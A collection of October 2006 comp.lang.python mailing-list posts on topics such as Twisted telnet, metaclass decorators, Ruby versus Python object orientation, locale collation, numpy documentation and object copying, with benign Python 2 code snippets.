From fredrik at pythonware.com  Tue Oct 24 16:26:03 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 22:26:03 +0200
Subject: Visibility against an unknown background
In-Reply-To: <ehlga7$kkq$1@sea.gmane.org>
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>	<ehlbvm$rg9$1@sea.gmane.org>
	<ehld8u$68u$1@sea.gmane.org> <ehlga7$kkq$1@sea.gmane.org>
Message-ID: <ehlssr$bo5$1@sea.gmane.org>

Sergei Organov wrote:

 > > and doesn't work at all on medium gray or b/w dithered patterns.
 >
 > Yes, every method has its pros and cons, but XOR is probably most
 > efficient.

back in the days when backing store was expensive, and memory bandwidth 
was limited, maybe.  contemporary graphics hardware is something radi- 
cally different.

> Where "most cases" depends on application. I'd be very upset to see,
> say, 5-6 highly intersecting scientific plots on the same picture drawn
> using the "marching ants" approach.

but the mostly random colors you get from XOR wouldn't upset your color 
vision subsystem?

to solve your specific case, I'd use bitmask algebra to generate alpha 
layers (or masks/stencil buffers), and use standard compositing to 
generate the final result.

</F>



From kay.schluehr at gmx.net  Thu Oct 12 02:46:23 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 11 Oct 2006 23:46:23 -0700
Subject: Python component model
In-Reply-To: <egjm4b$io$1@online.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
	<egjm4b$io$1@online.de>
Message-ID: <1160635583.128296.21270@m73g2000cwd.googlegroups.com>


Peter Maas wrote:
> Paul Boddie wrote:
> > People who bring up stuff about self and indentation are just showing
> > their ignorance, in my opinion, since Python isn't the first language
> > to use self in such a way, and many C++ and Java programs use this
> > pervasively in order to make attribute scope explicit, whereas the
> > indentation matter is only troublesome with bad editing practices. I
> > don't think the community should spend any more time on these
> > criticisms.
>
> How many programmers don't use Python because of the self issue?

The only reason I know why self shall not be inforced is reducing the
number of troll postings.



From gagsl-py at yahoo.com.ar  Mon Oct 23 16:04:25 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 23 Oct 2006 17:04:25 -0300
Subject: multythreading app memory consumption
In-Reply-To: <453BFF50.5000402@inbox.ru>
References: <453BFF50.5000402@inbox.ru>
Message-ID: <7.0.1.0.0.20061023170324.05c5dbb8@yahoo.com.ar>

At Sunday 22/10/2006 20:31, Roman Petrichev wrote:

>I've just faced with very nasty memory consumption problem.
>I have a multythreaded app with 150 threads which use the only and the
>same function - through urllib2 it just gets the web page's html code
>and assigns it to local variable. On the next turn the variable is

Consider using asyncore or the Twisted framework instead of threads.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From Matthew.Warren at Digica.com  Fri Oct  6 06:03:37 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Fri, 6 Oct 2006 11:03:37 +0100
Subject: Using twisted,
	not telnetlib for interactive telnet (WAS: RE: Improving telnetlib)
In-Reply-To: <20061004151554.1717.1223219055.divmod.quotient.67223@ohm>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE59C@UKEX01.Digica.local>

 

> >The trouble is, I havent got a clue where to start and would 
> appreciate
> >a couple of pointers to get me going...
> >
> 
> I'd suggest taking a look at Twisted, which contains a more complete
> telnet implementation (not as important for being able to launch vi),
> an ssh implementation (which you might want to use instead of telnet),
> a VT102 implementation (which is actually what will help you 
> run programs
> that want to fiddle around with the cursor in fancy ways), as 
> well as a
> fair amount of work towards a simple terminal emulator (to 
> help you keep
> track of what vi has done to your virtual terminal).
> 
> API docs for insults:
> 
> http://twistedmatrix.com/documents/current/api/twisted.conch.i
> nsults.html
> 
> And for the telnet implementation:
> 
> http://twistedmatrix.com/documents/current/api/twisted.conch.t
> elnet.html
>


Looking through those docs quickly leads me into quite a bewildering
maze.

As a kind of way to perhaps get me heading in the right direction and
understanding how I start to hang all that together to get what I want,
I would appreciate it if anyone could look at this little code snippet I
have, and illustrate how I can end up doing the same thing with twisted,
but end up with an interactive connection that can handle vi...  From
there I will happily trundle off by myself.

I think I'm looking for help in getting that AhA! moment :)

Snippet;

C=telnetlib.Telnet(self.TCPAddress)
.
.
((connection / password handling etc..))
.
.
if AliasedSubbedCmd=='__interact':
        if system=='UNIX':
        	retkey='^D'
        else:
            retkey='^Z'
	  print '\nTELNET entity '+self.Name+' entering interactive
mode. Use '+retkey+' to come back\n'
	C.mt_interact()


...at this point I am essentially on the remote system command line,
with a very dumb terminal. How could I do this in twisted and end up
with a fairly  clever terminal?


Thanks,

Matt.



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From steve at holdenweb.com  Fri Oct  6 05:00:21 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 06 Oct 2006 10:00:21 +0100
Subject: help on pickle tool
In-Reply-To: <4525F78D.5010200@pythonware.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>	<mailman.1407.1160113095.10491.python-list@python.org>	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>	<mailman.1408.1160114785.10491.python-list@python.org>	<1160115558.554509.292870@c28g2000cwb.googlegroups.com>
	<4525F78D.5010200@pythonware.com>
Message-ID: <eg55tg$o3k$1@sea.gmane.org>

Fredrik Lundh wrote:
> MonkeeSage wrote:
> 
> 
> 
>>YAML is a little more complex
> 
> 
> a little?  when did you last look at the spec?
> 
> 
>>and a little more mature.
> 
> 
> than JavaScript's expression syntax?  are you sure you're not confusing 
> libraries with standards here?  (has anyone even managed to write a YAML 
> library that's small and simple enough to be "obviously correct"?)

I have to agree that YAML, having started out with simplicity in mind, 
has become a monster that threatens to collapse under its own weight. 
The very existence of JSON is a good indicator that YAML has failed to 
meet its design goals for a significant proportion of application 
developers.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From glen.coates.bigworld at gmail.com  Thu Oct  5 23:18:12 2006
From: glen.coates.bigworld at gmail.com (glen.coates.bigworld at gmail.com)
Date: 5 Oct 2006 20:18:12 -0700
Subject: Access to static members from inside a method decorator?
In-Reply-To: <mailman.1360.1160063063.10491.python-list@python.org>
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
	<4524c9bb$0$23498$426a74cc@news.free.fr>
	<1160061499.579029.9130@k70g2000cwa.googlegroups.com>
	<mailman.1360.1160063063.10491.python-list@python.org>
Message-ID: <1160104692.597151.143200@b28g2000cwb.googlegroups.com>

Thanks for all the help guys ... in almost every way using a metaclass
seems to be the right solution for what I'm trying to do here.  I say
almost because there is one thing that is still confusing me: what is
the most elegant way to provide base-class implementations of methods
that are expected to be overriden by some of the derived classes (or in
the case of metaclasses, the classes that either declare __metaclass__
= Exposed or are derived from such classes).

Here's what I've just knocked out:

import sys

class Exposed( type ):

	def __init__( cls, *args, **kw ):

		# Track marked exposed methods
		cls.s_exposedMethods = []
		for superclass in cls.__mro__:
			for name, meth in superclass.__dict__.items():
				if hasattr( meth, "exposed" ):
					cls.s_exposedMethods.append( name )

		# Add getExposedMethods method
		cls.getExposedMethods = lambda self: self.s_exposedMethods
		cls.bar = lambda self: sys.stdout.write( "bar\n" )

	@staticmethod
	def expose( f ):
		f.exposed = True
		return f


class Process( object ):

	__metaclass__ = Exposed

	@Exposed.expose
	def foo( self ):
		pass


	def bar( self ):
		print "BAR"
		pass


class BotProcess( Process ):

	@Exposed.expose
	def addBots( self ):
		pass

p = Process()
p.bar()

#############

The problem here is that the implementation of 'bar' inside
Exposed.__init__ overrides the implementation of bar() in Process,
which makes sense I guess seeing as Exposed.__init__() is called after
the class has been initialised.  It's not a problem for
getExposedMethods() seeing as it's not overriden by any derived
classes.

So what is the accepted way of doing this?  Do I need two Exposed
classes, one is the metaclass that handles all the static mapping
stuff, and another provides base implementations of methods and is what
is actually derived from? E.g.:

class ExposedMeta( type ):
  ...

class Exposed( object ):
  ...

class Process( Exposed ):
  __metaclass__ = ExposedMeta
  ...

class BotProcess( Process ):
  ...

Hmmm ... that seems a bit ugly too.  If I change the assignments in
Exposed.__init__() I guess I can avoid the two-class thing:

  cls.getExposedMethods = getattr( cls, "getExposedMethods", lambda
self: self.s_exposedMethods )
  cls.bar = getattr( cls, "bar", lambda self: sys.stdout.write( "bar\n"
) )

That's better, but still ugly.  Is there a better way?

Thanks for all the help thus far guys,
Glen

Maric Michaud wrote:
> Le jeudi 05 octobre 2006 17:18, glen.coates.bigworld at gmail.com a ?crit :
> > I guess my solution is slightly less elegant because
> > it requires this ugly explicit init call outside the classes that it
> > actually deals with, however it is more efficient because the dir()
> > pass happens once on module load, instead of every time I want the list
> > of exposed methods.
>
> You can always replace the need of the init method on classes using a
> metaclass.
>
> This demonstrates it with Bruno's expose decorator, but it can be done with
> your actual init func too.
>
> In [6]: class m(type) :
>    ...:     def __init__(self, *a,**kw) :
>    ...:         for name, meth in self.__dict__.items() :
>    ...:             if getattr(meth, '_exposed', False) :
>    ...:                 print 'exposed :', name
>    ...:
>    ...:
>
> In [7]: class a(object):
>    ...:     __metaclass__ = m
>    ...:     def f(self) :pass
>    ...:     @expose
>    ...:     def g(self) :pass
>    ...:
>    ...:
> exposed : g
>
> In [8]: class b(a) :
>    ...:     @expose
>    ...:     def h(self) :pass
>    ...:
>    ...:
> exposed : h
>
>
>
>
> --
> _____________
>
> Maric Michaud
> _____________
>
> Aristote - www.aristote.info
> 3 place des tapis
> 69004 Lyon
> Tel: +33 426 880 097



From fredrik at pythonware.com  Tue Oct  3 15:07:57 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 03 Oct 2006 21:07:57 +0200
Subject: Best way to handle large lists?
In-Reply-To: <45228F2E.4010409@googlemail.com>
References: <prrUg.1662$We.477@trndny08>	<jwjw-E75E09.09362703102006@news.isp.giganews.com>	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>	<7xodst3337.fsf@ruckus.brouhaha.com>	<45227982.4060808@hotmail.com>
	<efttv2$9p6$1@gemini.csx.cam.ac.uk>
	<45228F2E.4010409@googlemail.com>
Message-ID: <efuced$10f$1@sea.gmane.org>

Hari Sekhon wrote:

> That is surprising since I read on this list recently that lists were 
> faster than dicts

depends on what you're doing with them, of course.

> It was one reason that was cited as to why local vars are better than
 > global vars.

L[int] is indeed a bit faster than D[string] (but not much), but that 
doesn't mean that you can loop over *all* items in a list faster than 
you can look up a single key in a dictionary.

</F>



From JohnRoth1 at jhrothjr.com  Tue Oct  3 11:29:36 2006
From: JohnRoth1 at jhrothjr.com (John Roth)
Date: 3 Oct 2006 08:29:36 -0700
Subject: was python implemented as a object oriented langage at the
	beginning ?
In-Reply-To: <mailman.1162.1159878320.10491.python-list@python.org>
References: <f3a8ca7c0610030506k2fb6040ai9e256049ebf9100e@mail.gmail.com>
	<mailman.1162.1159878320.10491.python-list@python.org>
Message-ID: <1159889376.366043.110550@i3g2000cwc.googlegroups.com>


Fredrik Lundh wrote:
> Bertrand Ballis wrote:
>
> > I heard a lot of people from the Ruby community claiming that Python, like
> > Perl, was a scripting langage that was changed aftewards to be object
> > compatible, and that was making it not as good as Ruby, object-oriented
> > from the begenning.
> >
> > Is that true ?
>
> nope.
>
> </F>

Since the original isn't showing up on Google Groups,
I'm going to hijack this response to make a longer
answer.

One problem with the frequently made assertion that
Ruby is "real" OO and Python isn't is that the person
making it usually doesn't say what they think "real"
OO is all about. It raises the suspicion that they're
repeating something they've heard without thinking
it through for themselves.

There are some significant differences. Python, like
C++, is multi-paradigm. That means that it's got
procedural elements such as the built-in functions.
Ruby doesn't: everything you can do is a method on
an object.

Another difference is that in Ruby, like Java,
everything descends from a single root object.
This is typical for a single inheritance language,
and not typical for a multiple inheritance language.
In Python all objects don't descend from a single
root object, although all new style classes do;
old style classes will vanish in release 3.0.

In Ruby, all objects are modifyable at runtime.
In Python many objects aren't, although most of
them can be subclassed. There is actually a
decent example of where this is useful: see the
rSpec language where they put a method named
"should" directly on object, for good reason.

John Roth



From rtw at freenet.co.uk  Mon Oct 30 09:12:41 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Mon, 30 Oct 2006 08:12:41 -0600
Subject: How can I import a script with an arbitrary name ?
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
Message-ID: <Xns986C9057E3F7DrtwfreenetREMOVEcouk@216.196.109.145>

 wrote in news:1162217006.567079.315440 at i42g2000cwa.googlegroups.com in 
comp.lang.python:

> Hi all,
> 
> I have a script responsible for loading and executing scripts on a
> daily basis. Something like this:
> 
> import time
> t = time.gmtime()
> filename = t[0] + '-' + t[1] + '-' + t[2] + '.py'
> import filename
> 
> So, I have a module with an arbitrary file name and I want to load it,
> and later access its function definitions.
> How can I do this ?  In my example, the last line will obviously not
> work.
> 

http://docs.python.org/lib/built-in-funcs.html

The first one __import__ should do the trick.

Rob.
-- 
http://www.victim-prime.dsl.pipex.com/


From jpd at whispertel.LoseTheH.net  Wed Oct 11 17:08:52 2006
From: jpd at whispertel.LoseTheH.net (John Doty)
Date: Wed, 11 Oct 2006 15:08:52 -0600
Subject: Standard Forth versus Python: a case study
In-Reply-To: <7x3b9u376m.fsf@ruckus.brouhaha.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
Message-ID: <Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>

Paul Rubin wrote:
> John Doty <jpd at whispertel.LoseTheH.net> writes:
>> I have a bunch of image files in FITS format. For each raster row in
>> each file, I need to determine the median pixel value and subtract it
>> from all of the pixels in that row, and then write out the results as
>> new FITS files.
> 
> I dunno what FITS is, but if you have a list of pixel values, that
> calculation sounds like two lines:
> 
>    median = sorted(pixels)[len(pixels)//2]
>    new_pixels = [p-median for p in pixels]

Yes. The efficient exact algorithms for this problem use *partial* 
sorts. The Forth one from the FSL is of this class (although I know of 
two better ones for big arrays). But it's tough to beat the efficiency 
of the approximate histogram-based method the Python stats module 
implements.

-- 
John Doty, Noqsi Aerospace, Ltd.
--
Specialization is for robots.


From nitte.sudhir at gmail.com  Fri Oct  6 07:16:24 2006
From: nitte.sudhir at gmail.com (kath)
Date: 6 Oct 2006 04:16:24 -0700
Subject: how to convert UNICODE to integer in Python?
In-Reply-To: <mailman.1451.1160132418.10491.python-list@python.org>
References: <1160132024.709430.63080@b28g2000cwb.googlegroups.com>
	<mailman.1451.1160132418.10491.python-list@python.org>
Message-ID: <1160133383.985994.176460@k70g2000cwa.googlegroups.com>


Fredrik Lundh wrote:
> kath wrote:
>
> >     xldays = int(xldate)
> > ValueError: invalid literal for int(): Date
> >
> > because xlrd.xldate_as_tuple() function expects first argument to be an
> > integer. How do I convert an unicode character to integer, so that I
> > could get the date using xlrd.xldate_as_tuple() function.
>
> the error doesn't say anything about Unicode characters, it says that
> someone's passing the string "Date" to the int() function.
>
>  >>> int("Date")
> Traceback (most recent call last):
>    File "<stdin>", line 1, in ?
> ValueError: invalid literal for int(): Date
> 
> </F>


Hi,

Thanks for reminding me. I was wrong. 

Regards,
kath



From bearophileHUGS at lycos.com  Wed Oct  4 16:09:07 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 4 Oct 2006 13:09:07 -0700
Subject: PEP 358 and operations on bytes
In-Reply-To: <7xac4c0wvf.fsf@ruckus.brouhaha.com>
References: <mailman.1197.1159906581.10491.python-list@python.org>
	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>
	<mailman.1269.1159973760.10491.python-list@python.org>
	<1159974809.492898.253490@i42g2000cwa.googlegroups.com>
	<7xejtojdys.fsf@ruckus.brouhaha.com>
	<1159976793.484514.277050@h48g2000cwc.googlegroups.com>
	<7xfye4f4nk.fsf@ruckus.brouhaha.com>
	<1159984794.841880.247100@k70g2000cwa.googlegroups.com>
	<7xac4c0wvf.fsf@ruckus.brouhaha.com>
Message-ID: <1159992547.603144.235730@c28g2000cwb.googlegroups.com>

A simple RE engine written in Python can be short, this is a toy:
http://paste.lisp.org/display/24849
If you can't live without the usual syntax:
http://paste.lisp.org/display/24872

Paul Rubin:
> Yes, I want something like that all the time for file scanning without
> having to resort to parser modules or hand coded automata.

Once read a file is a string or unicode. On them you can use normal
REs. If you need list-REs you probably slit the data in some parts. Can
you show one or more examples where you think simple list-REs can be
useful?

Bye,
bearophile



From http  Tue Oct  3 21:43:19 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 18:43:19 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<7x1wppk21c.fsf@ruckus.brouhaha.com>
	<4522c0f4$0$29116$9b622d9e@news.freenet.de>
Message-ID: <7xven097pk.fsf@ruckus.brouhaha.com>

"Martin v. L?wis" <martin at v.loewis.de> writes:
> It is a fork of an old version. Existence of this version hasn't helped
> a bit when we tried to get our data out of sf.net.

Yeah, I'd guessed it might be a fork.  Is there stuff in sf.net that a
web robot can't retrieve?


From hg at nospam.com  Fri Oct 13 12:13:31 2006
From: hg at nospam.com (hg)
Date: Fri, 13 Oct 2006 11:13:31 -0500
Subject: Loops Control with Python
In-Reply-To: <1160755760.629942.130200@m73g2000cwd.googlegroups.com>
References: <mailman.446.1160749325.11739.python-list@python.org>
	<1160755760.629942.130200@m73g2000cwd.googlegroups.com>
Message-ID: <i3PXg.27310$Go3.12251@dukeread05>

Paddy wrote:
> Wijaya Edward wrote:
>> Can we make loops control in Python?
>> What I mean is that whether we can control
>> which loops to exit/skip at the given scope.
>>
>> For example in Perl we can do something like:
>>
>> OUT:
>> foreach my $s1 ( 0 ...100) {
>>
>>     IN:
>>     foreach my $s2 (@array) {
>>
>>           if ($s1 == $s2) {
>>              next OUT;
>>           }
>>           else {
>>               last IN;
>>           }
>>
>>      }
>> }
>>
>> How can we implement that construct with Python?
>>
> 
> Python does not use Labels. If you want to quit a single loop then look
> up the Python break statement. If you want to exit deeply nested
> execution then Python has exceptions. this maybe new to a Perl
> programmer so please take time to understand Python exceptions.
> 
> There follows a function that you can call from an interactive session
> to explore one type of use for exceptions  that is rather like your use
> of Perl labels shown.
> 
> ==========================
> class Outer(Exception):
>   pass
> class Inner(Exception):
>   pass
> 
> def skip_loops(y1 = -1, y2 = -1, y3 = -1):
>   ''' Shows how to skip parts of nested loops in Python'''
>   try:
>     for x0 in range(3):
>       try:
>         for x1 in range(3):
>           for x2 in range(3):
>             if x2 == y2:
>               raise Inner
>             if x2 == y3:
>               break
>             print (x0,x1,x2)
>           if x1 == y1:
>             raise Outer
>           print (x0,x1)
>       except Inner:
>         print "Raised exception Inner"
>       print (x0,)
>   except Outer:
>     print "Raised exception Outer"
> 
> ==========================
> 
>>>> skip_loops(y1=2)
> (0, 0, 0)
> (0, 0, 1)
> (0, 0, 2)
> (0, 0)
> (0, 1, 0)
> (0, 1, 1)
> (0, 1, 2)
> (0, 1)
> (0, 2, 0)
> (0, 2, 1)
> (0, 2, 2)
> Raised exception Outer
>>>> skip_loops(y2=2)
> (0, 0, 0)
> (0, 0, 1)
> Raised exception Inner
> (0,)
> (1, 0, 0)
> (1, 0, 1)
> Raised exception Inner
> (1,)
> (2, 0, 0)
> (2, 0, 1)
> Raised exception Inner
> (2,)
> 
> 
> - Paddy.
> P.S. Welcome to Python!
> 
How about a thread on GOTOs ? ;-)



From onurb at xiludom.gro  Tue Oct 24 04:08:09 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 24 Oct 2006 10:08:09 +0200
Subject: pretty basic instantiation question
In-Reply-To: <1161650174.804226.37720@m73g2000cwd.googlegroups.com>
References: <mailman.2408.1161640980.11738.python-list@python.org>
	<mailman.1024.1161646594.11739.python-list@python.org>
	<1161650174.804226.37720@m73g2000cwd.googlegroups.com>
Message-ID: <453dc9eb$0$22735$426a34cc@news.free.fr>

meithamj at gmail.com wrote:
> Why do you need to know the number of instances. I know that Python
> does not support Class Variable,

Plain wrong.

class Class(object):
  classvar = ["w", "t", "f"]

print Class.classvar

c = Class()
c.classvar.append("???")
print c.classvar


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From robert.kern at gmail.com  Mon Oct  9 14:15:01 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 09 Oct 2006 14:15:01 -0400
Subject: switching to numpy and failing, a user story
In-Reply-To: <1160399089.004617.120480@h48g2000cwc.googlegroups.com>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>	<mailman.33.1160258991.11739.python-list@python.org>
	<1160399089.004617.120480@h48g2000cwc.googlegroups.com>
Message-ID: <ege3jb$f33$1@sea.gmane.org>

Istvan Albert wrote:
> No one is questioning one's right to try to sell a product/book etc.
> But I happen to believe that trying to make money by selling the docs
> is stupid, you'll scare away potential users, hinder the acceptance of
> the product, further fragment the community of users needing such
> functionality. Once I hit the page asking me to pay even before telling
> me what NumPy does, I went back to Numeric. Even now I can't tell in
> what way is NumPy different from Numeric or Numarray  (I understand
> that implementation wise it is different).

Really? This link is made before any mention of the book on numpy.scipy.org:

   http://numpy.scipy.org/new_features.html

> I wish the author all the best, with the remark that in this day and
> age with the pervasive need for large scale management/analysis he
> would/could make a lot more money by fostering relationships with
> research groups (private/university)  and selling his scientific
> computing (support) expertise rather then a pdf file.

Since he is working towards tenure, working on numpy and the book is about as 
much as his tenure committee will tolerate, and that grudgingly. Selling 
consulting services in any significant amount is probably out of the question.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From rrr at ronadam.com  Fri Oct 20 18:59:26 2006
From: rrr at ronadam.com (Ron Adam)
Date: Fri, 20 Oct 2006 17:59:26 -0500
Subject: Flexible Collating (feedback please)
In-Reply-To: <1161337147.986135.312930@i42g2000cwa.googlegroups.com>
References: <35kZg.6681$fl.2685@dukeread08>
	<1161253696.778503.45960@k70g2000cwa.googlegroups.com>
	<8JKZg.6744$fl.3093@dukeread08>
	<1161337147.986135.312930@i42g2000cwa.googlegroups.com>
Message-ID: <JAc_g.6802$fl.2343@dukeread08>

Leo Kislov wrote:
> Ron Adam wrote:
>> Leo Kislov wrote:
>>> Ron Adam wrote:
>>>
>>>> locale.setlocale(locale.LC_ALL, '')  # use current locale settings
>>> It's not current locale settings, it's user's locale settings.
>>> Application can actually use something else and you will overwrite
>>> that. You can also affect (unexpectedly to the application)
>>> time.strftime() and C extensions. So you should move this call into the
>>> _test() function and put explanation into the documentation that
>>> application should call locale.setlocale
>> I'll experiment with this a bit, I was under the impression that local.strxfrm
>> needed the locale set for it to work correctly.
> 
> Actually locale.strxfrm and all other functions in locale module work
> as designed: they work in C locale before the first call to
> locale.setlocale. This is by design, call to locale.setlocale should be
> done by an application, not by a 3rd party module like your collation
> module.

Yes, I've come to that conclusion also.  (reserching as I go) ;-)

I put an example of that in the class doc string so it could easily be found.



>> Maybe it would be better to have two (or more) versions?  A string, unicode, and
>> locale version or maybe add an option to __init__ to choose the behavior?
> 
> I don't think it should be two separate versions. Unicode support is
> only a matter of code like this:
> 
> # in the constructor
> self.encoding = locale.getpreferredencoding()
> 
> # class method
> def strxfrm(self, s):
>     if type(s) is unicode:
>         return locale.strxfrm(s.encode(self.encoding,'replace')
>     return locale.strxfrm(s)
> 
> and then instead of locale.strxfrm call self.strxfrm. And similar code
> for locale.atof

Thanks for the example.


>> This was the reason for using locale.strxfrm. It should let it work with unicode
>> strings from what I could figure out from the documents.
>>
>> Am I missing something?
> 
> strxfrm works only with byte strings encoded in the system encoding.
> 
>   -- Leo


Windows has an alternative function, wcxfrm.  (wide character transform)

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_strxfrm.2c_.wcsxfrm.asp

But it's not exposed in Python. I could use ctypes to call it, but it would then 
be windows specific and I doubt it would even work as expected.

Maybe a wcsxfrm patch would be good for Python 2.6?  Python 3000 will probably 
need it anyway.


I've made a few additional changes and will start a new thread after some more 
testing to get some additional feedback.

Cheers,
   Ron



From gerrit at nl.linux.org  Wed Oct  4 10:56:03 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Wed, 4 Oct 2006 16:56:03 +0200
Subject: PEP 358 and operations on bytes
In-Reply-To: <1159931141.342507.108260@e3g2000cwe.googlegroups.com>
References: <mailman.1197.1159906581.10491.python-list@python.org>
	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>
Message-ID: <20061004145603.GA17788@topjaklont.student.utwente.nl>

On 2006-10-04 05:10:32 +0200, John Machin wrote:
> >     - str methods endswith, find, partition, replace, split(lines),
> >       startswith,
> >     - Regular expressions
> >
> > I think those can be useful on a bytes type. Perhaps bytes and str could
> > share a common parent class? They certainly share a lot of properties
> > and possible operations one might want to perform.
> >
> 
> I look at it this way::
> Processing text? Use unicode.
> Binary structures and file I/O, interfacing to 8-bit-wide channels? Use
> bytes.

But can I use regular expressions on bytes?
Regular expressions are not limited to text.

Gerrit.


From fredrik at pythonware.com  Mon Oct 30 14:39:35 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 20:39:35 +0100
Subject: scared about refrences...
In-Reply-To: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
Message-ID: <ei5kdn$s5l$1@sea.gmane.org>

SpreadTooThin wrote:

> I'm really worried that python may is doing some things I wasn't
> expecting... but lets see...
> 
> if I pass a list to a function def fn(myList):
> 
> and in that function I modify an element in the list, then does the
> callers list get modied as well.
> 
> def fn(list):
>    list[1] = 0
> 
> myList = [1, 2, 3]
> print myList
> fn(myList)
> print myList
> 
>>>> [1,2,3]
>>>> [1,0,3]
> 
> How can I avoid this?

by not modifying your arguments nilly-willy, of course.

> How do I specify or create deep copies of objects that may contain
> other objects that may contain other
> object that may contain other objects....

http://www.effbot.org/pyfaq/how-do-i-copy-an-object-in-python.htm

but if you find yourself needing to copy things a lot, you need to look 
over your design.  well-designed Python code seldom needs to copy object
values.

</F>



From steve at holdenweb.com  Tue Oct 10 05:47:53 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 10:47:53 +0100
Subject: OT: Sarcasm and irony
In-Reply-To: <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>	<4out4fFgdgouU1@individual.net>
	<4ov1acFgfmpmU1@uni-berlin.de>	<4ov2eeFgh8t6U1@individual.net>
	<87y7rp9iyi.fsf_-_@benfinney.id.au>	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
Message-ID: <egfq6i$hf$1@sea.gmane.org>

bryan rasmussen wrote:
> On 10/10/06, Steve Holden <steve at holdenweb.com> wrote:
> 
>>bryan rasmussen wrote:
>>
>>>>>>E. g. [in Java there is] no operator overloading, but "+"
>>>>>>concatenation of strings. What if you'd like to implement your own
>>>>>>string-derived class? Ah, never mind. Operator overloading is
>>>>>>bad(tm) ;) <= Irony, definitely
>>>>>
>>>>>Definitely? That one strikes me more as sarcasm.
>>>>
>>>Well irony originally started out as a very specific concept of the
>>>Ancient Greek drama, this is what we nowadays refer to as Dramatic
>>>Irony but it is the original irony. Irony then became a literary
>>>concept for plot elements similar to Dramatic irony in books, or a
>>>weaker type of the Dramatic irony found in the plays of Shakespeare.
>>>People then noticed that life was at times ironic in the literary
>>>manner. Nowadays the use of the word irony has degenerated to by
>>>pretty much synonymous with sarcasm.
>>>
>>
>>... in America. It's well-known among Brits that Americans don't
>>understand irony. They can be pretty oblique when it come to sarcasms
>>too, for that matter.
> 
> 
> is that '....in America' meant to be an addendum to what I said, as in
> this is the situation in America and not elsewhere? If so I should
> probably point out that I am writing from Denmark and was thinking
> specifically of a situation where a dane told me they were being
> 'ironic' (when what they meant, obviously, was that they were being
> ironical), when I asked what they meant by that they said "saying the
> opposite of what I mean" I responded: "so, in other words, what you
> mean by irony is 'sarcasm'" She responded "yes, that's what it means"
> 
Well, my assertion about America clearly doesn't preclude to possibility 
of confusion on the part of the Danish too :-). You are right about the 
general degradation of the (understanding of the) meaning of irony. 
People are just too damned sloppy with language nowadays.

> She had a degree in communications. I also know a few number of brits.
> The quality of their wit is not as yet so rarified that I must strain
> after its meaning.
> 
A degree in communications sadly does not necessarily require complete 
terminological exactitude. There's nothing wrong with being funny but 
obvious <0.8 wink>

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From tjreedy at udel.edu  Thu Oct 12 13:58:39 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 12 Oct 2006 13:58:39 -0400
Subject: numpy slice: create view, not copy
References: <12issm3bfcmh15e@corp.supernews.com>
Message-ID: <eglvoe$jpt$1@sea.gmane.org>


